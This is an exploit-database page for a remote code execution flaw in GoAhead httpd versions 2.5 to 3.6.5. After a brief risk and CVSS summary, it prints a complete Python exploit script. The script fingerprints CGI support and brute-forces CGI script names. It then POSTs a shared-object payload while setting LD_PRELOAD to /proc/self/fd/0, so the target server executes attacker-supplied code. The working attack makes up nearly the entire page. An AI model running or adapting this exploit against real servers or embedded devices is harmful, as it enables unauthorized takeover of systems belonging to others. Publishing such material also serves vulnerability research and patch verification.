GoAhead httpd 2.5 < 3.6.5 LD_PRELOAD Remote Code Execution

2017.12.19
Credit: Anonymous
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/python # GoAhead httpd/2.5 to 3.6.5 LD_PRELOAD remote code execution exploit #+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ #+++++++++++++++++++++++++++++++++++:--/++++++++++++++++++++++++++++++++++++ #+++++++++++++++++++++++++++++++/:-......-:/++++++++++++++++++++++++++++++++ #++++++++++++++++++++++/////::-..............-:://///+++++++++++++++++++++++ #++++++++++++++++++++++..............-:..............+++++++++++++++++++++++ #++++++++++++++++++++++..........-://+++/:-..........+++++++++++++++++++++++ #++++++++++++++++++++++......://++++++++++++//::.....+++++++++++++++++++++++ #++++++++++++++++++++++......++++++++++++++++++/.....+++++++++++++++++++++++ #++++++++++++++++++++++......:/+++++++++++++++/-.....+++++++++++++++++++++++ #++++++++++++++++++++++.........--::////:::--........+++++++++++++++++++++++ #++++++++++++++++++++++-...........................:/+++++++++++++++++++++++ #++++++++++++++++++++++:.....-................--:/++++++++++++++++++++++++++ #+++++++++++++++++++++++-....-+///::::::::///+++++++++++++++++++++++++++++++ #+++++++++++++++++++++++/.....-/++++++++++++++++/::+++++++++++++++++++++++++ #++++++++++++++++++++++++/-.....-/++++++++/:--...-/+++++++++++++++++++++++++ #++++++++++++++++++++++++++:.......:/++/:.......:+++++++++++++++++++++++++++ #+++++++++++++++++++++++++++/-................-/++++++++++++++++++++++++++++ #+++++++++++++++++++++++++++++/:-..........-:/++++++++++++++++++++++++++++++ #++++++++++++++++++++++++++++++++/:--..--:/+++++++++++++++++++++++++++++++++ #++++++++++++++++++++++++++++++++++++++++++++++++(c) 2017 elttam Pty Ltd.+++ # ~/goahead_exploit>>> ./makemyday.py -h # usage: makemyday.py [-h] [--server SERVER] [--port PORT] [--maxconn {1-256}] # [--verbose] # {fingerprint,stage,exploit,findcgi} ... # # GoAhead httpd remote LD_PRELOAD exploit. # # positional arguments: # {fingerprint,stage,exploit,findcgi} # fingerprint fingerprint if GoAhead server uses CGI # stage send a staging payload and wait indefinitely # exploit run exploit # findcgi brute force cgi script names # # optional arguments: # -h, --help show this help message and exit # --server SERVER target ip or hostname, default is localhost # --port PORT target port, default is 80 # --maxconn {1-256} max concurrent requests, default is 1 # --verbose, -v increase verbosity level # # See https://www.elttam.com.au for more information. # >>>./makemyday.py --server 192.168.1.24 --port 80 exploit --payload ./payloads/X86_64-hw.so # exploit works! import argparse import httplib import sys import threading from string import Template class GoAheadExploit(object): '''GoAheadExploit''' qid = None payload = None exploited = False def __init__(self): '''Configure arguments and run the exploit''' parser = argparse.ArgumentParser( description="GoAhead httpd remote LD_PRELOAD exploit.", epilog="See https://www.elttam.com.au for more information." ) parser.add_argument('--server', default="localhost", help='target ip or hostname, default is localhost') parser.add_argument('--port', type=int, default=80, help='target port, defaults is 80') parser.add_argument('--maxconn', type=int, default=1, choices=xrange(1, 256), metavar="{1-256}", help='max concurrent requests, default is 1') parser.add_argument('--verbose', '-v', default=0, action='count', help='increase verbosity level') common_options = argparse.ArgumentParser(add_help=False) common_options.add_argument('--cginame', default="cgitest", help='target cgi script') common_options.add_argument('--payload', nargs='?', type=argparse.FileType('r'), default=sys.stdin, help='shared object file to execute (defaults to stdin)') cmd_subparsers = parser.add_subparsers(dest="action") cmd_subparsers.add_parser( 'fingerprint', help='fingerprint if GoAhead server uses CGI') cmd_subparsers.add_parser('stage', parents=[common_options], help='send a staging payload and wait indefinitely') cmd_subparsers.add_parser('exploit', parents=[common_options], help='run exploit') findcgi = cmd_subparsers.add_parser( 'findcgi', help='brute force cgi script names') findcgi.add_argument('--wordlist', nargs='?', type=argparse.FileType('r'), default=sys.stdin, help='list of cgi filenames to brute force (defaults to stdin)') # parse command line and call into action self.args = parser.parse_args() getattr(self, self.args.action)() def fingerprint(self): '''fingerprint''' conn = httplib.HTTPConnection(self.args.server, self.args.port) conn.connect() conn.request( "GET", "/cgi-bin/c8fed00eb2e87f1cee8e90ebbe870c190ac3848c") if conn.getresponse().read().find("CGI process file does not exist") != -1: print "CGI scripting is enabled" else: print "CGI scripting is disabled" conn.close() def findcgi(self): '''findcgi''' for cginame in self.args.wordlist.readlines(): cginame = cginame[:-1] conn = httplib.HTTPConnection(self.args.server, self.args.port) conn.connect() conn.request("GET", "/cgi-bin/" + cginame) resp = conn.getresponse() if resp.status == 200: print "/cgi-bin/" + cginame + " exists." conn.close() def stage(self): '''stage''' payload = self.args.payload.read() headers = {"Host": self.args.server, "User-Agent": "curl/7.51.0", "Accept": "*/*", "Content-Length": str(len(payload) + 1)} conn = httplib.HTTPConnection(self.args.server, self.args.port) conn.connect() conn.request("POST", "/cgi-bin/" + self.args.cginame, payload, headers) try: conn.getresponse() except httplib.BadStatusLine: pass conn.close() def exploit(self): '''exploit''' for _ in range(0, self.args.maxconn): tid = threading.Thread(self.do_exploit(verify,)) tid.start() def do_exploit(self, verify_callback): '''do_exploit''' if not self.payload: self.payload = self.args.payload.read() contentlen = len(self.payload) headers = {"Host": self.args.server, "User-Agent": "curl/7.51.0", "Accept": "*/*", "Content-Length": str(contentlen)} exploit_string = Template("/cgi-bin/${cginame}?LD_PRELOAD=" "/proc/self/fd/0").substitute({ "cginame": self.args.cginame }) while not self.exploited: conn = httplib.HTTPConnection(self.args.server, self.args.port, timeout=10) conn.connect() conn.request("POST", exploit_string, self.payload, headers) try: if verify_callback(conn.getresponse()): self.exploited = True print "exploit works!" except httplib.BadStatusLine: pass conn.close() # put your payload callback/verification code here def verify(res): '''validation callback''' if res.getheader("hello"): return True return False if __name__ == '__main__': GoAheadExploit()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top